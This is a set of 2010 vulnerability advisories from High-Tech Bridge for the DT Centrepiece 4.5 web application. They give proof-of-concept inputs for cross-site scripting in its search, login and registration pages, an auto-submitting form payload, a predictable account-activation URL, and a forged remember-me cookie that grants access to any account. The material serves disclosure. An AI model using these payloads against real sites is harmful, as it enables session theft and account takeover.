DT Centrepiece 4.5 Cross Site Scripting / Logic Error

`============================================  
Vulnerability ID: HTB22519  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_dt_centrepiece.html  
Product: DT Centrepiece  
Vendor: DT Services ( http://www.dt.net.nz/ )   
Vulnerable Version: 4.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "/search.asp" script to properly sanitize user-supplied input in "searchFor" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
http://host/search.asp?searchFor=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
  
  
============================================  
Vulnerability ID: HTB22520  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_dt_centrepiece_1.html  
Product: DT Centrepiece  
Vendor: DT Services ( http://www.dt.net.nz/ )   
Vulnerable Version: 4.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "login.asp" script to properly sanitize user-supplied input in "c" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
http://host/login.asp?c=/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
  
============================================  
Vulnerability ID: HTB22521  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_dt_centrepiece_2.html  
Product: DT Centrepiece  
Vendor: DT Services ( http://www.dt.net.nz/ )   
Vulnerable Version: 4.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the /register.asp script to properly sanitize user-supplied input in multiple variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form name="main" method="POST" action="http://host/register.asp">  
<input type="hidden" name="frmRegisterCheck" value="true">  
<input type="hidden" name="user" value='"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="pass" value="">  
<input type="hidden" name="confirmPass" value="">  
<input type="hidden" name="FirstName" value="">  
<input type="hidden" name="LastName" value="">  
<input type="hidden" name="EmailAddress" value="">  
<input type="hidden" name="Address" value="">  
<input type="hidden" name="Country" value="">  
<input type="hidden" name="Landline" value="">  
<input type="hidden" name="Mobile" value="">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
  
Vulnerability ID: HTB22522  
Reference: http://www.htbridge.ch/advisory/application_logic_error_in_dt_centrepiece.html  
Product: DT Centrepiece  
Vendor: DT Services ( http://www.dt.net.nz/ )   
Vulnerable Version: 4.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: Application Logic Error  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The user can activate an arbitrary account.  
  
The system account is activated, has a predictable URL. This allows the user to activate any account without receiving the activation email.  
  
The following PoC is available:  
  
  
http://host/activate.asp?p=USERNAME  
  
  
Vulnerability ID: HTB22523  
Reference: http://www.htbridge.ch/advisory/application_logic_error_in_dt_centrepiece_1.html  
Product: DT Centrepiece  
Vendor: DT Services ( http://www.dt.net.nz/ )   
Vulnerable Version: 4.5 and Probably Prior Versions  
Vendor Notification: 22 July 2010   
Vulnerability Type: Application Logic Error in the Authentication Mechanism  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The user can get access to the account of an arbitrary user.  
When a user logs in, the remember password system puts predictable data in the cookie.  
  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
Just put this values in cookie:  
  
MM_Remember_Username=USERNAME  
  
  
  
`